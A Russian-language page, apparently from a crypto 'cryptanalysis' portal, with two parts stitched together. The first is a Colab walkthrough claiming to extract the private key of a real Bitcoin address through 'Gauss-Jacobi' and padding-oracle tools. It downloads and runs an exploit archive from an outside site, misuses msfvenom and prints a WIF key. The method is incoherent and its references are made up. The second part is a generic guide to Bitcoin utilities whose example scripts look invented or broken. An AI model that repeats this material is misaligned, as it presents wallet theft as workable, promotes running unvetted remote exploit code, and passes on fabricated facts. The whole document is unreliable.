f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000 Порядок выполнения действий на видео: Как нам известно из prompt ответов модуля BitcoinChatGPT aлгоритм метода Gauss-Jacobi может быть использован для решения четырех вариантов сложных криптографических задач. Рассмотрим вариант №3 The Gauss-Jacobi algorithm can compromise the security of the software file wallet.dat, which is an additional unprotected mechanism where the algorithm creates the wallet.dat file and extracts the private key to the Bitcoin Wallet from the file’s code using the command “dumpprivkey” “address” from the internal software console. Вариант №3 Smart Transformers Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k https://colab.research.google.com/#create=true !git clone https://github.com/smartiden/Smart-Transformers.git cd Smart-Transformers/ !sudo apt-get update !sudo apt install libtool !sudo apt-get install g++ !sudo apt-get install libgmp3-dev libmpfr-dev !chmod +x Generic_Algorithms !./Generic_Algorithms !pip3 install transformers from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "microsoft/DialoGPT-medium" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) model = model.cpu() ls -S Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo !echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000' > RawTX.txt !cat RawTX.txt Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY. !./SMART_IDENTIFY ################################################# Gauss_Jacobi_Algorithm ################################################# Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Gauss_Jacobi_Algorithm !./Gauss_Jacobi_Algorithm -o RawTX.txt -s wallet.dat Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0 getaddressinfo 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k Файл: wallet.dat зашифрован паролем! dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) Padding Oracle Attack Ранее мы публиковали статью Padding Oracle Attack на Wallet.dat воспользуемся этим методом и расшифруем пароль для доступа в бинарный формат. !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework/ ls !./msfvenom -help Установим Bitcoin Core integration/staging tree в Google Colab: !git clone https://github.com/bitcoin/bitcoin.git ls Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat cd bitcoin/src/crypto/ ls Откроем файл: aes.cpp через утилиту cat cat aes.cpp Для проведения атаки переместим файл: wallet.dat в каталог: bitcoin/src/crypto/ !mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat' ls cd / cd content/Smart-Transformers/metasploit-framework/ ls ExploitDarlenePRO cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f5a2024c71914f6596c51afb5ac6822e9da4/ExploitDarlenePRO.zip !unzip ExploitDarlenePRO.zip ls cd ExploitDarlenePRO/ ls cd / cd content/Smart-Transformers/metasploit-framework/ ls !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k https://btc1.trezor.io/address/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k !./msfvenom 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом. import hashlib Binary = "1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000" f = open("walletpassphrase.txt", 'w') f.write("walletpassphrase " + Binary + " 60" + "\n") f.write("" + "\n") f.close() ls cat walletpassphrase.txt walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60 Пароль для доступа к приватному ключу найден! walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60 dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz Приватный Ключ Получен! !pip3 install bitcoin __________________________________________________ Private Key WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k total_received = 500.09702252 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz HEX: B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769 References: “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation. “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented. “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi. “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method. “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method. “Iterative Solution of Large Linear Systems” (1971) – David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method. “Iterative Methods for Solving Linear Systems” – The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method. “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method. “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi. “A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method. Exploring the Gauss-Jacobi Method in Numerical Methods Textbooks – Many textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method. Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://www.youtube.com/@cryptodeeptech Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c Источник: https://cryptodeep.ru/gauss-jacobi-method Криптоанализ
  13. Биткоин — первая в мире децентрализованная цифровая валюта, которая произвела революцию в нашем представлении о деньгах. Одним из наиболее интересных аспектов Биткоина является широкий спектр утилит, разработанных для его поддержки. Эти утилиты призваны помочь пользователям безопасно и надежно взаимодействовать с сетью Биткоин и играют решающую роль в экосистеме. Одной из самых популярных биткоин-утилит является биткоин-кошелек. Кошелек — это программное приложение, которое позволяет пользователям хранить, отправлять и получать биткоины. Доступно множество различных типов кошельков, включая настольные, мобильные и аппаратные кошельки. Каждый тип кошелька имеет свои преимущества и недостатки, поэтому важно выбрать тот, который лучше всего соответствует вашим потребностям. Еще одна важная утилита Биткоин — это обмен биткоинов. Биржа — это платформа, которая позволяет пользователям покупать и продавать биткоины за другие валюты, такие как доллары США или евро. Доступно множество различных бирж, каждая со своим набором комиссий, функциями безопасности и пользовательскими интерфейсами. Важно выбрать биржу с хорошей репутацией, имеющую хорошую репутацию в области безопасности и надежности. Третий тип утилиты Биткоин — это программное обеспечение для майнинга. Майнинг — это процесс проверки транзакций в сети Биткоин и добавления их в блокчейн. Майнеры вознаграждаются биткоинами за свою работу, и чем больше у них вычислительной мощности, тем больше биткоинов они могут заработать. Программное обеспечение для майнинга позволяет пользователям участвовать в процессе майнинга и зарабатывать биткоины. Существует также множество других типов биткоин-утилитов, таких как платежные системы, торговые сервисы и обозреватели блокчейнов. Эти утилиты созданы для того, чтобы предприятиям и частным лицам было проще использовать Биткоин в повседневной жизни, и они играют решающую роль в росте и развитии экосистемы Биткоин. Утилиты Биткоин являются важной частью экосистемы Биткоин. Они предоставляют пользователям инструменты, необходимые для безопасного и надежного взаимодействия с сетью Биткоин, и помогают стимулировать внедрение Биткоина во всем мире. Независимо от того, являетесь ли вы владельцем бизнеса, инвестором или просто человеком, интересующимся цифровыми валютами, существует утилита Биткоин, которая может помочь вам достичь ваших целей. Преимущество Одним из менее известных преимуществ Биткоина является его полезность в качестве инструмента для различных приложений. Базовая технология Биткоина, известная как блокчейн, по сути представляет собой децентрализованный реестр, который можно использовать для хранения и проверки данных. Это делает его ценным инструментом для различных отраслей, от здравоохранения до логистики. Одним из таких приложений является управление цепочками поставок. Используя технологию блокчейна, компании могут отслеживать движение товаров от производителя к конечному потребителю. Это обеспечивает большую прозрачность и подотчетность, снижает риск мошенничества и гарантирует подлинность продукции. Еще одно применение — в сфере голосования. Технология блокчейн может быть использована для создания безопасной и прозрачной системы голосования, гарантирующей точность и защиту от несанкционированного доступа результатов. Это может помочь восстановить веру в демократический процесс и предотвратить фальсификацию выборов. Биткоин также можно использовать в качестве средства оплаты товаров и услуг. Это особенно полезно в странах, где традиционные банковские системы недоступны и ненадежны. Биткоин-транзакции быстрые, дешевые и безопасные, что делает их привлекательной альтернативой традиционным способам оплаты. Наконец, Биткоин можно использовать в качестве средства сбережения. В отличие от традиционных валют, которые могут быть обесценены из-за инфляции или политической нестабильности, Биткоин децентрализован и невосприимчив к таким факторам. Это делает его привлекательным вариантом для тех, кто хочет сохранить свое богатство в долгосрочной перспективе. Биткоин — это больше, чем просто криптовалюта. Базовая технология блокчейна имеет широкий спектр применений, которые могут принести пользу различным отраслям. От управления цепочками поставок до систем голосования, утилиты Биткоин могут произвести революцию в том, как мы ведем бизнес и взаимодействуем друг с другом. Поскольку технология продолжает развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в ближайшие годы. Классификация Одной из ключевых особенностей Биткоина является его способность классифицироваться по различным типам полезностей. В этой статье мы рассмотрим различные классификации утилит Биткоин и их важность. Платежная система Самая основная классификация Биткоина — это платежная система. Биткоин позволяет пользователям мгновенно отправлять и получать платежи без необходимости использования посредников, таких как банки или платежные системы. Это делает его быстрым, безопасным и экономичным способом перевода денег через границу. Средство сбережения Еще одна важная классификация Биткоина — это средство сбережения. Биткоин имеет ограниченное количество монет в 21 миллион, что делает его дефицитным ресурсом. Этот дефицит в сочетании с его децентрализованным характером делает его популярным активом для инвесторов, желающих хранить свое богатство безопасным и защищенным от инфляции способом. Цифровое золото Биткоин часто называют «цифровым золотом» из-за его сходства с драгоценным металлом. Как и золото, Биткоин — дефицитный ресурс с ограниченным запасом. Он также децентрализован и действует независимо от какого-либо центрального органа власти. Это делает его привлекательным активом для инвесторов, желающих диверсифицировать свой портфель и застраховаться от инфляции. Децентрализованная платформа приложений Биткоин также служит платформой для создания децентрализованных приложений (DApps). Это приложения, которые работают в децентрализованной сети, а не на центральном сервере. Технология блокчейна Биткоин позволяет создавать безопасные и децентрализованные приложения, устойчивые к цензуре и мошенничеству. Криптовалюта Наконец, Биткоин — это криптовалюта, что означает, что это цифровой актив, использующий криптографию для защиты транзакций и контроля создания новых единиц. Криптовалюты, такие как Биткоин, разработаны так, чтобы быть децентрализованными и работать независимо от какого-либо центрального органа. Это делает их привлекательной альтернативой традиционным валютам, которые подвержены инфляции и манипуляциям со стороны центральных банков. Биткоин — это универсальная и инновационная технология, которую можно разделить на различные типы полезностей. Как платежная система, средство сбережения, цифровое золото, децентрализованная платформа приложений и криптовалюта, Биткоин может революционизировать наше представление о деньгах и финансовых транзакциях. Биткоин-утилиты Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher ↩︎ Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях ↩︎ «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) ↩︎ «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин ↩︎ «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python ↩︎ «bx» — инструмент командной строки Bitcoin ↩︎ «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов ↩︎ «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы ↩︎ «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей ↩︎ Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher 1 GitHub: https://github.com/tsileo/txwatcher TxWatcher — это инструмент на основе Python, который позволяет отслеживать транзакции по биткоин-адресам. Его можно использовать для различных целей, например для отслеживания пожертвований некоммерческой организации или мониторинга платежей, поступающих на торговый счет. В этой статье мы покажем вам, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах. Сначала вам нужно установить TxWatcher. Вы можете сделать это, выполнив следующую команду в своем терминале: pip install txwatcher После установки TxWatcher вы можете начать мониторинг транзакций, создав новый экземпляр класса TxWatcher . Вот пример: from txwatcher import TxWatcher # Create a new TxWatcher instance tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet') # Monitor transactions for a specific Bitcoin address address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC' tx_watcher.watch_address(address) В этом примере мы создаем новый TxWatcher экземпляр и передаем наш ключ API и сеть Биткоин, которую мы хотим отслеживать (в данном случае тестовую сеть). Затем мы вызываем watch_address() метод и передаем биткоин-адрес, который хотим отслеживать. TxWatcher теперь начнет отслеживать транзакции для указанного биткоин-адреса. Вы можете прослушивать новые транзакции, вызвав listen_for_transactions() метод: # Listen for new transactions tx_watcher.listen_for_transactions() Это заблокирует выполнение вашей программы до тех пор, пока не будет обнаружена новая транзакция. При обнаружении новой транзакции TxWatcher выдаст transaction событие. Вы можете прослушивать это событие и что-то делать с данными транзакции, например сохранять их в базе данных или отправлять уведомление по электронной почте. Вот пример того, как прослушивать новые транзакции и сохранять данные транзакций в базе данных MongoDB: from txwatcher import TxWatcher from pymongo import MongoClient # Create a new TxWatcher instance tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet') # Connect to MongoDB client = MongoClient('mongodb://localhost:27017/') db = client['my_database'] collection = db['transactions'] # Monitor transactions for a specific Bitcoin address address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC' tx_watcher.watch_address(address) # Listen for new transactions and store them in MongoDB tx_watcher.listen_for_transactions(on_transaction=lambda transaction: collection.insert_one(transaction.to_dict())) В этом примере мы подключаемся к локальному экземпляру MongoDB и создаем новую базу данных и коллекцию для хранения данных транзакций. Затем мы вызываем listen_for_transactions() метод и передаем лямбда-функцию, которая принимает объект транзакции и вставляет его в коллекцию MongoDB с помощью этого insert_one() метода. Вот и все! Теперь вы знаете, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах. Проявив немного творчества, вы можете использовать этот инструмент для создания всевозможных приложений и сервисов, связанных с биткоинами. Скрипт Python, использующий txwatcher: import txwatcher # create a new instance of the txwatcher txwatcher = txwatcher.TxWatcher() # connect to the blockchain txwatcher.connect_blockchain() # monitor a specific address for incoming transactions txwatcher.monitor_address('0x1234567890abcdef1234567890abcdef1234567890abcdef1234') # monitor a specific transaction hash for confirmations txwatcher.monitor_transaction_hash('0x1234567890abcdef1234567890abcdef1234567890abcdef1234') # print the transaction details when a new transaction is detected txwatcher.print_transaction_details() # close the connection to the blockchain txwatcher.close_blockchain_connection() Этот скрипт импортирует модуль txwatcher и создает новый экземпляр класса TxWatcher. Затем он подключается к блокчейну и отслеживает определенный адрес и хэш транзакции на предмет входящих транзакций и подтверждений соответственно. Наконец, он печатает детали транзакции и закрывает соединение с блокчейном. Нигири Вкусный док-бокс для приготовления особых биткоинов, молний и жидких блюд 2 GitHub: https://github.com/vulpemventures/nigiri Nigiri — это инструмент с интерфейсом командной строки (CLI), который упрощает процесс настройки среды тестирования биткоинов. С помощью Nigiri пользователи могут быстро и легко запустить блок регистрации биткоинов, а также Electrs и Esplora, два популярных инструмента для разработчиков биткоинов. Nigiri также включает команды faucet и push, которые упрощают тестирование приложений и сервисов Bitcoin. Regtest — это среда тестирования биткоинов, которая имитирует сеть биткоинов без использования реальных биткоинов. Это позволяет разработчикам тестировать свои биткоин-приложения и сервисы, не рискуя реальными деньгами. Electrs — это программное обеспечение для полного узла Биткоин, которое индексирует блокчейн Биткоина и предоставляет API для его запроса. Esplora — это веб-обозреватель блоков, который позволяет пользователям просматривать и анализировать блокчейн Биткоина. Нигири упрощает процесс настройки среды тестирования Биткоин, предоставляя единую команду, которая настраивает все необходимые компоненты. Сюда входит программное обеспечение Bitcoin Core, Electrs, Esplora и сборщик биткоинов, который предоставляет бесплатные тестовые биткоины для целей тестирования. Команда faucet в Нигири позволяет легко получить тестовые биткоины для целей тестирования. Команда push позволяет пользователям отправлять тестовые биткоины на другие адреса в сети regtest. Эти команды упрощают процесс тестирования приложений и сервисов Биткоин, упрощая разработчикам тестирование своих приложений, не рискуя реальными деньгами. В целом, Nigiri — это мощный инструмент для разработчиков биткоинов, которые хотят быстро и легко настроить среду регистрации биткоинов. С помощью Nigiri разработчики могут тестировать свои приложения и услуги, не рискуя реальными деньгами, а также легко получать тестовые биткоины для целей тестирования. Команды faucet и push упрощают симуляцию реальных биткоин-транзакций, позволяя разработчикам тестировать свои приложения в реалистичной среде. Nigiri — это инструмент с интерфейсом командной строки (CLI), который позволяет быстро настроить блок регистрации биткоинов с помощью Electrs и Esplora. Regtest — это частный блокчейн, который вы можете использовать для тестирования и экспериментов, не беспокоясь о реальных транзакциях биткоинов. Electrs — это легкий и высокопроизводительный сервер Electrum, обеспечивающий быстрый доступ к данным блокчейна, а Esplora — обозреватель блокчейна, позволяющий просматривать транзакции и блоки в сети regtest. Nigiri также включает в себя команду сборщика, которая позволяет генерировать тестовые адреса биткоинов с предварительно добытыми средствами, и команду push, которая позволяет отправлять транзакции в сеть regtest. С помощью Nigiri вы можете быстро и легко настроить среду регистрации биткоинов для тестирования и экспериментов, не беспокоясь о сложностях настройки полного узла биткоинов. Подводя итог, можно сказать, что Нигири — это мощный инструмент для всех, кто хочет экспериментировать с биткоинами и технологией блокчейна в частной и безопасной среде. Благодаря простому интерфейсу командной строки и встроенной интеграции Electrs и Esplora, Nigiri позволяет легко настроить блок регистрации биткоинов и начать исследовать мир биткоинов и технологий блокчейна. Скрипт, который вы можете использовать для запуска нигири в докер-контейнере: #!/usr/bin/env python3 import docker import os # set the docker client and image name client = docker.from_env() image_name = 'nigiri' # create a docker container container = client.containers.run( image=image_name, ports={'80': '80'}, volumes={'/var/run/docker.sock': '/var/run/docker.sock'}, detach=true ) # wait for the container to start print("waiting for the container to start...") container.wait() # get the ip address of the container ip_address = container.attrs['networksettings']['networks']['bridge']['ipaddress'] # print the url of the nigiri dashboard print(f"nigiri dashboard is available at: http://{ip_address}:80") # stop and remove the container print("stopping and removing the container...") container.stop() container.remove() Этот скрипт создает контейнер докеров с образом нигири, сопоставляет порт 80 с хостом и монтирует том сокета докеров, чтобы нигири мог получить доступ к API докеров. Затем он ждет запуска контейнера, получает его IP-адрес, печатает URL-адрес информационной панели нигири, а затем останавливает и удаляет контейнер. Чтобы использовать этот скрипт, в вашей системе должны быть установлены Python 3.x и Docker. вы можете запустить его, сохранив в файл (например run_nigiri.py) и запустив его с помощью python run_nigiri.py. «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) 3 GitHub: https://github.com/stevenroose/hal hal — это мощный инструмент интерфейса командной строки для Биткоин, построенный на основе ржавчины-биткоина. Он задуман как своего рода швейцарский армейский нож, предоставляющий широкий спектр функций для пользователей и разработчиков биткоинов. Некоторые из ключевых особенностей hal включают в себя: Генерация адресов: hal может генерировать новые биткоин-адреса для вашего использования. Создание транзакции: вы можете использовать hal для создания новых транзакций Биткоин, указав входы, выходы и любые другие необходимые параметры. Подписание транзакции: как только вы создали транзакцию, вы можете использовать hal, чтобы подписать ее, используя свои личные ключи. Трансляция транзакций: как только ваша транзакция будет подписана, вы можете использовать hal для ее трансляции в сеть Биткоин. Анализ блоков и транзакций: hal может анализировать блоки и транзакции Биткоина, позволяя извлекать из них данные. Управление кошельком: вы можете использовать hal для управления своими биткоин-кошельками, включая создание новых кошельков, импорт и экспорт ключей, а также управление вашими балансами. Сценарии: hal включает в себя мощный язык сценариев, который позволяет автоматизировать сложные задачи, связанные с биткоинами. В целом, hal — очень полезный инструмент для всех, кто регулярно работает с Биткоином. Являетесь ли вы разработчиком, создающим биткоин-приложения, трейдером, управляющим вашими биткоин-активами, или просто человеком, который хочет изучить возможности протокола Биткоин, hal может помочь вам выполнить эту работу. Скрипт: import subprocess def execute_hal(): subprocess.run(["hal", "--help"]) execute_hal() этот скрипт использует модуль подпроцесса в Python для выполнения команды «hal –help» в терминале. вы можете изменить этот сценарий для выполнения любой другой команды, которую захотите. hal — это инструмент командной строки, который предоставляет все виды утилит, связанных с биткоинами. Монтаж: $ cargo install --locked hal Краткое описание команд: адрес проверить: получить информацию об адресах create: создавать адреса, используя открытые ключи или скрипты. bech32 декодировать: анализировать элементы формата Bech32 кодировать: кодировать данные в формате Bech32. бип32 получение: получение ключей и адресов из расширенных ключей проверить: проверить BIP-32 xpub или xpriv бип39 генерировать: создать новую мнемонику BIP-39. get-seed: получить начальное значение и главный ключ BIP-32 для заданной мнемоники BIP-39. блокировать create: создать двоичный блок из JSON декодировать: декодировать двоичный блок в JSON хэш sha256: хеш-данные с помощью SHA-256. sha256d: хеш-данные с двойным SHA-256. ключ генерировать: генерировать случайную пару ключей получить: сгенерировать открытый ключ из закрытого ключа проверить: проверить закрытые ключи ecdsa-sign: создавать подписи ECDSA ecdsa-verify: проверить подписи ECDSA pubkey-tweak-add: добавить скаляр к точке pubkey-combine: сложить две точки вместе Ин счет декодировать: декодировать счета Lightning Меркл доказательство-создать: создать доказательство Меркла доказательство-проверить: проверить доказательство Меркла сообщение hash: получить хэши сообщения, подписанного биткоинами. знак: подпишите сообщение, используя сообщение, подписанное биткоинами проверить: проверить сообщение, подписанное биткоинами восстановить: восстановить открытый ключ или адрес, которым подписано сообщение. минискрипт дескриптор: получить информацию о выходном дескрипторе instspect: проверить минискрипты синтаксический анализ: преобразовать скрипт в минискрипт политика: проверить политики ПСБТ create: создать PSBT из необработанной неподписанной транзакции. декодировать: декодировать PSBT в JSON редактировать: редактировать встроенный PSBT Finalize: завершить PSBT в полностью подписанную транзакцию объединить: объединить несколько PSBT в один случайный байты: генерировать случайные байты сценарий декодировать: декодировать PSBT в JSON Техас create: создать бинарную транзакцию из JSON декодировать: декодировать двоичную транзакцию в JSON Минимальная поддерживаемая версия Rust (MSRV) : hal всегда должен компилироваться на Rust 1.41.1 . Обратите внимание, что он должен быть построен с использованием Cargo.lock файла, поэтому используйте --locked «BitKey» — Live USB для транзакций с воздушным зазором и биткоинский швейцарский армейский нож 4 Гитхаб: https://github.com/bitkey/bitkey BitKey — это операционная система Live USB, предназначенная для изолированных транзакций и являющаяся «швейцарским армейским ножом» для биткоинов. Это дистрибутив Linux, основанный на Debian, который поставляется с различными предустановленными инструментами, связанными с биткоинами. Одной из основных особенностей BitKey является его способность создавать изолированные транзакции. Это означает, что вы можете создать транзакцию Биткоин на компьютере, который не подключен к Интернету, а затем транслировать ее в сеть Биткоин с другого компьютера, подключенного к Интернету. Это очень безопасный способ создания биткоин-транзакций, поскольку он исключает риск кражи ваших личных ключей хакерами. BitKey также поставляется с множеством других инструментов, связанных с биткоинами, включая Bitcoin Core, Electrum, Armory и Bitcoin-QT. Эти инструменты позволяют вам управлять своими биткоин-кошельками, отправлять и получать биткоин-транзакции, а также контролировать сеть биткоинов. В дополнение к инструментам, связанным с Биткоином, BitKey также включает в себя множество других полезных утилит, таких как GParted, редактор разделов, и KeePassX, менеджер паролей. Эти инструменты могут быть полезны для управления вашим компьютером и обеспечения безопасности ваших паролей. BitKey прост в использовании, даже если вы не знакомы с Linux. Просто загрузите ISO-образ с веб-сайта BitKey, запишите его на USB-накопитель с помощью такого инструмента, как Rufus или UNetbootin, а затем загрузите компьютер с USB-накопителя. После загрузки BitKey вы можете сразу же начать использовать его инструменты. В целом, BitKey — это мощный и полезный инструмент для всех, кто хочет создавать изолированные биткоин-транзакции или безопасно управлять своими биткоин-кошельками. Его коллекция инструментов и утилит, связанных с биткоинами, делает его настоящим швейцарским армейским ножом для биткоинов, а простота использования делает его доступным даже для начинающих пользователей. вот скрипт, который загрузит и запишет BitKey на USB-накопитель: #!/bin/bash # This script will download and write BitKey to a USB drive # Make sure you have a USB drive plugged in before running this script # Download the latest BitKey ISO image wget -O bitkey.iso https://bitkey.io/bitkey.iso # Write the ISO image to the USB drive dd if=bitkey.iso of=/dev/sdX bs=4M Вам нужно будет заменить /dev/sdX фактическое имя устройства вашего USB-накопителя. Вы можете найти это, запустив lsblk и найдя устройство, соответствующее вашему USB-накопителю. Обратите внимание, что этот сценарий предполагает, что вы используете операционную систему на базе Linux. Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий. «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python 5. GitHub: https://github.com/richardkiss/pycoin Pycoin — это служебная библиотека биткоинов и альтернативных монет на основе Python. Это проект с открытым исходным кодом, а это значит, что каждый может использовать его бесплатно. Pycoin предоставляет набор инструментов для работы с биткоинами и альт-монетами. Pycoin поддерживает множество различных альтернативных монет, включая Litecoin, Dogecoin и Namecoin. Он также поддерживает тестовые сети, такие как тестовая сеть Биткоин (Testnet) и тестовая сеть Litecoin (Testnet3). Pycoin имеет ряд функций, которые делают его полезным для разработчиков, работающих с биткоинами и альт-монетами. Одной из наиболее важных особенностей является поддержка различных криптографических алгоритмов, включая алгоритм цифровой подписи на основе эллиптической кривой (ECDSA) и алгоритм безопасного хэширования (SHA-256). Pycoin также обеспечивает поддержку различных типов транзакций, включая простые транзакции, транзакции с несколькими подписями и транзакции с блокировкой по времени. Он также поддерживает создание новых адресов и генерацию новых закрытых ключей. Pycoin спроектирован таким образом, чтобы его было легко использовать даже для разработчиков, которые плохо знакомы с биткоинами и альт-монетами. Он предоставляет простой API для работы с различными аспектами протоколов Биткоин и альтернативных монет, включая транзакции, адреса и блоки. В дополнение к своим основным функциям Pycoin также предоставляет ряд полезных утилит, таких как интерпретатор сценариев и обозреватель блоков. Эти утилиты упрощают работу с биткоинами и альт-монетами и могут использоваться для создания широкого спектра приложений. В целом, Pycoin — это мощная и гибкая библиотека для работы с биткоинами и альт-монетами. Независимо от того, создаете ли 